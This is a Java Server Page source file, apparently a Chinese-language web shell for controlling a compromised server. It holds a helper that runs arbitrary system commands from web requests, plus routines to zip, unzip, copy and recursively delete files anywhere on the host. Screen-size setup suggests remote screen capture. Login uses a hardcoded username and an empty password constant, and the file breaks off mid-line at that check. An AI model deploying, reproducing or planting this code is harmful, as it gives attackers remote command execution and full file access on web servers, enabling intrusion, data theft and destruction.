<%@page contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" %><%//@page import="org.apache.tools.zip.*" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@page import="java.sql.*" %><%@page import="sun.awt.shell.ShellFolder"%><%@page import="javax.swing.filechooser.FileSystemView"%><%@ page import="java.util.*"%><%@ page import="java.math.*"%><%@page import="java.awt.*" %><%@page import="java.awt.event.*" %><%@page import="java.awt.image.*"%><%@page import="javax.swing.*"%><%@page import="java.awt.datatransfer.*"%><%@page import="javax.imageio.*"%><%@page import="java.util.regex.*"%><%!
private static final String PASSWORD="";//这里是用户的登陆密码
String uri;
private static final boolean isLinux=System.getProperty("os.name").startsWith("Linux");
private static final FileSystemView fsv = FileSystemView.getFileSystemView();
private static String START_TYPE[] ={"", "", "自动", "手动", "禁用"};
private static String STATE_TYPE[] ={"", "已停止", "", "", "已启动", "5", "6", "暂停"};
private static Rectangle rect[] = new Rectangle[8];
static
{
Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
int width = d.width;
int height = d.height;
for (int i = 0; i < rect.length; i++)
{
rect[i] = new Rectangle(0, height / 8 * i, width, height / 8);
}
}
public static String exec(String cmd, Writer out) throws IOException
{
StringBuffer sb = new StringBuffer();
int len = 0;
byte by[] = new byte[cmd.length() * 10];
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
while((len = is.read(by)) != -1)
{
String str = new String(by, 0, len);
if(out != null)
{
out.write(str);
out.flush();
}
sb.append(str);
}
is.close();
return sb.toString();
}
public String unzip(File file, File dir) throws IOException
{
if (file.getName().toLowerCase().endsWith(".zip"))
{
StringBuffer result = new StringBuffer();
try
{
ZipFile zf = new ZipFile(file);
Enumeration enumer = zf.entries(); //zf.getEntries();
while (enumer.hasMoreElements())
{
ZipEntry ze = (ZipEntry) enumer.nextElement();
String zename = ze.getName();
result.append(zename + "<br/>");
if (ze.isDirectory())
{
File file11 = new File(dir,zename);
file11.mkdirs();
} else
{
File file11 = new File(dir,zename).getParentFile();
if (!file11.exists())
{
file11.mkdirs();
}
int i=0;
byte zeby[] = new byte[8192];
InputStream is = zf.getInputStream(ze);
FileOutputStream fos = new FileOutputStream(dir.getAbsolutePath() + "/" + zename);
while((i=is.read(zeby))!=-1)
{
fos.write(zeby,0,i);
}
is.close();
fos.close();
}
}
zf.close();
result.append("全部完成");
return result.toString();
} catch (Exception e)
{
return (file.getName() + " 不是 ZIP 压缩文件");
}
} else
{
Runtime rt = Runtime.getRuntime();
File f=new File("C:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File("D:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File(this.getServletContext().getRealPath(uri)+"\\UnRAR.exe");
String path=f.exists()?f.getPath():"unrar";
Process p = rt.exec("\"" + path + "\" x -o+ -p- " + file.getAbsolutePath() + " " + dir.getAbsolutePath());
StringBuffer sb = new StringBuffer();
InputStream fis = p.getInputStream();
int value = 0;
while ((value = fis.read()) != -1)
{
sb.append((char) value);
}
fis.close();
String result = new String(sb.toString().getBytes("ISO-8859-1"), "GBK");
int index = result.indexOf("中解压");
if (index == -1)
{
return (file.getName() + " 不是 RAR 压缩文件");
} else
{
index += 4;
result = result.substring(index);
result = result.replaceAll("\r\n", "<br/>").replaceAll(" ", " ");//.replaceAll("\n", "<BR/>").replaceAll("\\\\", "/").replaceAll(file.getAbsolutePath(), "");
return (result);
}
}
}
public static void zip(String ps[],OutputStream os)throws IOException
{
ZipOutputStream zos = new ZipOutputStream(os);
for(int i=0;i<ps.length;i++)
{
zip(zos,new File(ps[i]),"");
}
zos.close();
}
public static void zip(ZipOutputStream zos, File file, String context) throws IOException
{
if (file.isFile())
{
int i=0;
byte by[] = new byte[8192];
FileInputStream is = new FileInputStream(file);
zos.putNextEntry(new ZipEntry(context + file.getName()));
while((i=is.read(by))!=-1)
{
zos.write(by,0,i);
}
is.close();
zos.closeEntry();
} else
if (file.isDirectory())
{
context=context + file.getName() + "/";
zos.putNextEntry(new ZipEntry(context));
zos.closeEntry();
File files[] = file.listFiles();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
zip(zos, files[i], context);
}
}
}
}
public void del(File f)
{
if (f.isDirectory())
{
File fs[] = f.listFiles();
for (int i = 0; i < fs.length; i++)
{
del(fs[i]);
}
}
f.delete();
}
public void copy(File s,File d)throws IOException
{
d=new File(d,s.getName());
if(s.isDirectory())
{
d.mkdir();
File fs[]=s.listFiles();
for(int i=0;i<fs.length;i++)
{
copy(fs[i],d);
}
}else
{
byte by[] = new byte[8192];
FileInputStream fis=new FileInputStream(s);
FileOutputStream fos=new FileOutputStream(d);
int i=0;
while((i=fis.read(by))!=-1)
{
fos.write(by,0,i);
}
fis.close();
fos.close();
}
}
public static File getLnkpath(File f)throws IOException
{
if(f.exists())
{
byte by[]=new byte[(int)f.length()];
FileInputStream fis=new FileInputStream(f);
fis.read(by);
fis.close();
String str=new String(by,"GBK");
String prefix=new StringBuffer(7).append((char)42).append((char)65533).append((char)16).append((char)0).append((char)0).append((char)0).append((char)0).toString();
int i=str.indexOf(prefix)+7;
if(i>6)
{
StringBuffer path=new StringBuffer();
for(int j=i;j<str.length();i++)
{
int ch=str.charAt(i);
if(ch!=0)
{
path.append((char)ch);
}else
{
break;
}
}
return new File(path.toString());
}
}
return f;
}
%><%
String user=(String)session.getAttribute("user");
uri=request.getRequestURI();
uri=uri.substring(0,uri.lastIndexOf('/'));
request.setCharacterEncoding("UTF-8");
String p=request.getParameter("p");
if(p==null)p="/";
File f = new File(p);
if(!f.exists())
{
p=new String(p.getBytes("ISO-8859-1"),"UTF-8");
f = new File(p);
}
String v=request.getParameter("v");
String ps[]=request.getParameterValues("ps");
String mt=request.getParameter("mt");
if(mt==null)mt="file";
int pos=0;
String tmp=request.getParameter("pos");
if(tmp!=null)
{
pos=Integer.parseInt(tmp);
}
int oby=1;
tmp=request.getParameter("oby");
if(tmp==null)
{
tmp=(String)session.getAttribute("oby");
}
if(tmp!=null)
{
oby=Integer.parseInt(tmp);
session.setAttribute("oby",String.valueOf(oby));
}
//版本
boolean ver=true;
Boolean btmp=(Boolean)session.getAttribute("ver");
if(btmp!=null)
{
ver=btmp.booleanValue();
}
///////////////////////////////////
if(mt.length()>5)
{
if(user==null)
{
user=request.getParameter("user");
String pwd=request.getParameter("pwd");
ver="true".equals(request.getParameter("ver"));
if(user.equals("mietian")&&pwd.equals(PASSWO